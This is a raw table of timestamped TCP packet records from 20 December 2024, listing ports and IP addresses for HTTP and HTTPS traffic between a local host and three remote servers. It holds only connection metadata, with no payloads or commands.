Dec 20, 2024 17:43:23.759715080 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.760802031 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.760848045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.761001110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.761044979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.761909962 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.761959076 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.762201071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.762245893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.763221979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.763276100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.763431072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.763479948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.764358997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.764374018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.764404058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.764432907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.765546083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.765604019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.765855074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.765902042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.766635895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.766681910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.766812086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.766858101 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.767841101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.767887115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.768173933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.768243074 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.768999100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.769048929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.769100904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.769145012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.770248890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.770298958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.770414114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.770458937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.771436930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.771488905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.771524906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.771570921 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.772572994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.772619963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.772650957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.772701025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.773770094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.773819923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.774132967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.774183035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.774957895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.775008917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.775115967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.775162935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.776124001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.776176929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.776535988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.776581049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.777379036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.777425051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.777827978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.777875900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.778703928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.778753996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.778841019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.778887987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.779687881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.779733896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.780066967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.780144930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.780910015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.780958891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.781455994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.781559944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.782041073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.782088041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.782095909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.782139063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.783237934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.783282995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.783494949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.783540010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.784410954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.784456015 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.784528017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.784573078 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.785624027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.785672903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.785712004 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.785754919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.786818981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.786869049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.787026882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.787070036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.787971973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.788017988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.788104057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.788151979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.789165020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.789210081 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.789375067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.789414883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.790400982 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.790446997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.790724039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.790769100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.791558027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.791611910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.791695118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.791743040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.792710066 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.792767048 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.793047905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.793102980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.793898106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.793946981 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.793978930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.794029951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.795077085 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.795128107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.795203924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.795257092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.925486088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.925558090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.925576925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.925609112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.926078081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.926131964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.926395893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.926445007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.927030087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.927083969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.927179098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.927223921 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.928270102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.928314924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.928395987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.928442955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.929336071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.929389954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.929620981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.929668903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.930543900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.930589914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.930629015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.930676937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.931818008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.931865931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.931919098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.931961060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.932876110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.932929993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.933203936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.933259010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.934369087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.934382915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.934427977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.935409069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.935422897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.935462952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.936444044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.936491013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.936511993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.936553955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.937623978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.937684059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.937747002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.937791109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.938904047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.938977003 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.939044952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.939089060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.940124989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.940181971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.940210104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.940258026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.941637039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.941689014 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.942385912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.942439079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.942497969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.942536116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.942543983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.942580938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.943567991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.943620920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.943700075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.943746090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.944775105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.944829941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.944973946 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.945020914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.945936918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.945988894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.946124077 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.946171999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.947277069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.947362900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.947693110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.947746038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.948328018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.948380947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.948508024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.948561907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.949517965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.949568033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.949701071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.949769974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.950665951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.950721979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.950840950 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.950886011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.951869965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.951922894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.952744007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.952789068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.953243017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.953291893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.953368902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.953418016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.954267025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.954320908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.954406023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.954451084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.955435038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.955490112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.955496073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.955522060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.956588030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.956646919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.956831932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.956878901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.957789898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.957844973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.958064079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.958110094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.958997011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.959049940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.959134102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.959187984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.960273981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.960326910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.960329056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.960376978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.961332083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.961380959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.961494923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.961546898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.962505102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.962548018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.962642908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.962692022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.963682890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.963732004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.963864088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.963924885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.964883089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.964936972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.965202093 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.965253115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.966149092 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.966197968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.966197968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.966238976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.967242002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.967298031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.967984915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.968038082 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.968535900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.968570948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.968581915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.968619108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.968628883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.969618082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.969666004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.969728947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.969774008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.970803022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.970858097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.970943928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.970990896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.972007036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.972059965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.972151995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.972198963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.973216057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.973263025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.973351002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.973416090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.974334002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.974380016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.974448919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.974493980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.975522995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.975572109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.975699902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.975748062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.976754904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.976803064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.976969957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.977020025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.977888107 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.977933884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.978079081 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.978127956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.979088068 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.979136944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.979268074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.979336977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.980273008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.980326891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.981062889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.981117964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.981441975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.981496096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.981570959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.981622934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.982624054 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.982681036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.982728004 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.982780933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.983875036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.983911037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.983933926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.983954906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:23.984983921 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:23.985048056 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:25.752604008 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:25.752655029 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:25.752846956 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:25.765286922 CET	49733	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:25.765302896 CET	443	49733	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:26.495866060 CET	49731	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:26.496380091 CET	49734	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:26.615823030 CET	80	49731	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:26.615951061 CET	49731	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:26.615981102 CET	80	49734	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:26.616041899 CET	49734	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:26.649776936 CET	49734	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:26.769493103 CET	80	49734	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:26.984740019 CET	443	49733	172.67.131.246	192.168.2.6
